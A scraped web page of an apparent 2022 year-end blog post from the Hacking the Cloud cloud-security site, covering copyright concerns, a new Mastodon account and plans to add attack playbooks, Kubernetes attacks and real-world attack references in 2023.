looking into this, but I am not a lawyer, I don't know a thing about copyright, and I have not had much luck finding resources on how we can better protect the site's content. If you have any experience in this domain, I would love to <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/discussions/categories/general>hear</a> from you.</p> <h2 id=mastodon>Mastodon<a class=headerlink href=#mastodon title="Permanent link">&para;</a></h2> <p>In a bit of an experiment, Hacking the Cloud now has its own <a href=https://infosec.exchange/@hackingthecloud>Mastodon</a> account! My goal with this account is to try something new. In the short term, I'd like to add a GitHub action to post to the account when a new article is published, along with posting release notes for the site.</p> <p>Long term, I'd like to cover broader cloud security news, and highlight interesting research or findings. I'm considering hooking it up to the RSS feeds of some well known blogs and sharing cloud security news that way. Feel free to give the account a follow if you're interested.</p> <figure> <p><a class=glightbox href=../../images/blog/2022_wrap-up/mastodon.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Showing the Mastodon profile page for Hacking the Cloud" loading=lazy src=../../images/blog/2022_wrap-up/mastodon.png></a></p> </figure> <h2 id=plans-for-the-future>Plans for the Future<a class=headerlink href=#plans-for-the-future title="Permanent link">&para;</a></h2> <p>Aside from continuing to add to the catalog of AWS attack techniques, I have three initiatives for Hacking the Cloud in 2023. The first, as mentioned previously, will be to add what I will loosely call "playbooks"; step by step guides demonstrating some path along the exploit chain. With this type of content, I think there is an opportunity to showcase how individual techniques can be chained together and demonstrate how an attacker can operate in a cloud environment.</p> <p>The second major initiative is to begin adding Kubernetes attacks to the mix. While not strictly cloud-specific (I'm running a kubernetes cluster 5 feet from where I'm sitting. And, no, I haven't broken into us-east-1.... yet.), it is undeniable that Kubernetes is a massive part of many organizations' security posture. Things may get a bit blurred if anything is specific to the cloud provider's implementation of Kubernetes but we'll cross that bridge when we get to it.</p> <p>And finally, I'd like to add more resources to the site related to real world attacks. Currently, I'm planning to add references to individual techniques if they were seen in the wild and where. This way, we can get an understanding of attack trends and prioritize defenses based on real-world usage.</p> <h2 id=conclusion>Conclusion<a class=headerlink href=#conclusion title="Permanent link">&para;</a></h2> <p>I hope you had a good 2022 and have an even better 2023. May every vulnerability you find be a critical! Happy holidays!</p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">February 19, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">December 14, 2022</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> <a href=https://github.com/web-flow class=md-author title=@web-flow> <img src="https://avatars.githubusercontent.com/u/19864447?v=4&size=72" alt=web-flow> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#numbers class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> 2022 Wrap-up </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li 